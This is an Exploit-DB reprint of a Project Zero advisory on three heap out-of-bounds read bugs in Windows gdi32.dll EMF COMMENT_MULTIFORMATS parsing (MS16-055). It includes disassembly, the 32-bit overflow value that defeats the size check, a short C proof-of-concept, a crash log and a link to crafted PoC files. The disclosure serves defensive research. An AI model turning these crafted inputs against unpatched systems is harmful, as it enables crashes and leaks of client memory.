Microsoft Windows - 'gdi32.dll' Multiple 'EMF COMMENT_MULTIFORMATS' Record Handling (MS16-055)

EDB-ID:

39833




Platform:

Windows

Date:

2016-05-17


Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=729

There are two programming errors in the implementation of the COMMENT_MULTIFORMATS record in EMF files, as found in the user-mode gdi32.dll system library. The worst of them may lead to reading beyond allocated heap-based buffers, leading to a crash or potential disclosure of the library client's memory (e.g. Internet Explorer's).

Each of the discovered bugs is briefly described below. The analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system.

--------------------------------------------------------------------------------
- Integer overflow in the sanitization of the EMR_COMMENT_MULTIFORMATS.CountFormats field leading to a heap-based out-of-bounds read
--------------------------------------------------------------------------------

When encountering a COMMENT_MULTIFORMATS record, the MRGDICOMMENT::bPlay() function starts off by sanitizing the 32-bit EMR_COMMENT_MULTIFORMATS.CountFormats field, by ensuring the following:

1) EMR_COMMENT_MULTIFORMATS.CountFormats < 0xFFFFFFF
2) 0x28 + (0x10 * EMR_COMMENT_MULTIFORMATS.CountFormats) fits within the EMF record.

Or, in assembly:

--- cut ---
.text:7DAE7B3A                 mov     eax, [esi+24h]
.text:7DAE7B3D                 cmp     eax, 0FFFFFFFh
.text:7DAE7B42                 jnb     short loc_7DAE7ADC
.text:7DAE7B44                 shl     eax, 4
.text:7DAE7B47                 add     eax, 28h
.text:7DAE7B4A                 push    eax             ; unsigned __int32
.text:7DAE7B4B                 push    [ebp+arg_4]     ; struct tagHANDLETABLE *
.text:7DAE7B4E                 mov     ecx, esi        ; this
.text:7DAE7B50                 call    ?bValidSize@MR@@QAEHPAUtagHANDLETABLE@@K@Z ; MR::bValidSize(tagHANDLETABLE *,ulong)
.text:7DAE7B55                 test    eax, eax
.text:7DAE7B57                 jz      short loc_7DAE7ADC
--- cut ---

Since all calculations are performed on 32-bit types, it is possible to satisfy both conditions with the invalid 0xFFFFFFE value: 0x28 + (0x10 * 0xFFFFFFE) = 0x100000008 = (uint32)0x8.

The value is then used to iterate over EmrFormat objects assumed to reside in the current EMR_COMMENT_MULTIFORMATS record, searching for either ENHMETA_SIGNATURE (embedded EMF file) or EPS_SIGNATURE (embedded PostScript). If either of the signatures is found, the corresponding object is handled accordingly; other objects are skipped. The issue can therefore be used to have uninitialized / out-of-bounds heap data interpreted as EMF or PostScript, which could be then potentially retrieved back in GDI clients such as Internet Explorer.

The attached poc1.emf file illustrates the problem by crashing Internet Explorer, which attempts to read an EmrFormat signature outside of a page boundary.

--------------------------------------------------------------------------------
- Lack of EmrFormat.offData field sanitization in EPS_SIGNATURE handling leading to heap-based out-of-bounds read with controlled offset and length
--------------------------------------------------------------------------------

The code in the MRGDICOMMENT::bPlay() function responsible for handling EPS_SIGNATURE EmrFormat objects doesn't sanitize the EmrFormat.offData field before using it as an offset relative to the COMMENT_MULTIFORMATS record memory, in the context of the "source" argument to a memcpy() call ([EBX+4] is EmrFormat.offData):

--- cut ---
.text:7DAE7C27                 mov     eax, [ebx+4]
.text:7DAE7C2A                 lea     eax, [eax+esi+0Ch]
.text:7DAE7C2E                 push    eax             ; Src
.text:7DAE7C2F                 lea     eax, [edi+20h]
.text:7DAE7C32                 push    eax             ; Dst
.text:7DAE7C33                 call    _memcpy
--- cut ---

Lack of the value sanitization can be used to have any heap memory relative to the input record's buffer passed as input of the ENCAPSULATED_POSTSCRIPT escape code sent to the HDC.

The attached poc2.emf file is supposed to illustrate the issue; however, in order to reach the affected code, DrawEscape(HDC, QUERYESCSUPPORT, ENCAPSULATED_POSTSCRIPT) must succeed first. I haven't been able to find a rendering scenario in which a HDC supporting ENCAPSULATED_POSTSCRIPT is used, and thus I haven't managed to fully reproduce a crash (although the bug seems obvious from a manual analysis).


Short update: there is another problem in the gdi32!MRGDICOMMENT::bPlay() function: under several circumstances, it calls the gdi32!GdiComment() function with a fully attacker-controlled "Size" argument, which is assumed by the function to be trusted and is used to copy data out of the record's buffer. One such circumstance is when the MRGDICOMMENT::bIsPublicComment() function return FALSE, which is also under the input file's control. 

--- cut ---
.text:7DAD2ECD                 push    [ebp+arg_4]     ; struct tagHANDLETABLE *
.text:7DAD2ED0                 mov     esi, ecx
.text:7DAD2ED2                 call    ?bCheckRecord@MRGDICOMMENT@@QAEHPAUtagHANDLETABLE@@@Z ; MRGDICOMMENT::bCheckRecord(tagHANDLETABLE *)
.text:7DAD2ED7                 test    eax, eax
.text:7DAD2ED9                 jz      loc_7DAE7ADC
.text:7DAD2EDF                 mov     ecx, esi        ; this
.text:7DAD2EE1                 call    ?bIsPublicComment@MRGDICOMMENT@@QAEHXZ ; MRGDICOMMENT::bIsPublicComment(void)
.text:7DAD2EE6                 test    eax, eax
.text:7DAD2EE8                 jnz     loc_7DAE7AE3
.text:7DAD2EEE
.text:7DAD2EEE loc_7DAD2EEE:                           ; CODE XREF: MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C3B31j
.text:7DAD2EEE                                         ; MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C7231j
.text:7DAD2EEE                 lea     eax, [esi+0Ch]
.text:7DAD2EF1                 push    eax             ; lpData
.text:7DAD2EF2                 push    dword ptr [esi+8] ; nSize
.text:7DAD2EF5                 push    [ebp+hdc]       ; hdc
.text:7DAD2EF8                 call    _GdiComment@12  ; GdiComment(x,x,x)
--- cut ---

The invalid copy can occur in another nested function (gdi32!MF_GdiComment), which is only invoked if the HDC being drawn to is another EMF object. I have developed a short POC program to illustrate this:

--- cut ---
#include <windows.h>

int main() {
  RECT rect = {0, 0, 100, 100};
  HDC hdc = CreateEnhMetaFile(NULL, NULL, &rect, NULL);
  HENHMETAFILE hemf = GetEnhMetaFile("poc3.emf");
  PlayEnhMetaFile(hdc, hemf, &rect);
  return 0;
}
--- cut ---

If the attached poc3.emf file (which sets the Size to 0x70707070) is placed in the same directory as the test program, we can observe the following crash:

--- cut ---
(2aa0.2f84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=70a370f0 ebx=00330080 ecx=0071bfe0 edx=00000000 esi=01f9fffc edi=03c10168
eip=77c12588 esp=0028fcf4 ebp=0028fcfc iopl=0         nv dn ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010606
ntdll!memcpy+0x1b8:
77c12588 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr  Args to Child              
0028fcfc 762e5bf4 01fa01ec 00330080 70707070 ntdll!memcpy+0x1b8
0028fd10 762e5bb5 70707070 00330080 00330000 GDI32!MRGDICOMMENT::vInit+0x1e
0028fd60 762e5b0d 05212466 70707070 01fa01e0 GDI32!MF_GdiComment+0x21e
0028fd78 762e2efd 05212466 70707070 00330080 GDI32!GdiComment+0x43
0028fdbc 762e4e17 05212466 0078fd50 00000004 GDI32!MRGDICOMMENT::bPlay+0x25a
0028fe34 762eca93 05212466 0078fd50 00330074 GDI32!PlayEnhMetaFileRecord+0x2c5
0028febc 762ecaf2 05212466 403581b4 00000000 GDI32!bInternalPlayEMF+0x66b
*** ERROR: Module load completed but symbols could not be loaded for image00400000
0028fed8 00401478 05212466 05462463 0028fef8 GDI32!PlayEnhMetaFile+0x32
WARNING: Stack unwind information not available. Following frames may be wrong.
0028ff18 004010fd 0028ff28 75a09e34 7efde000 image00400000+0x1478
0028ff94 77c29a02 7efde000 4fdbb63f 00000000 image00400000+0x10fd
0028ffd4 77c299d5 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
--- cut ---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39833.zip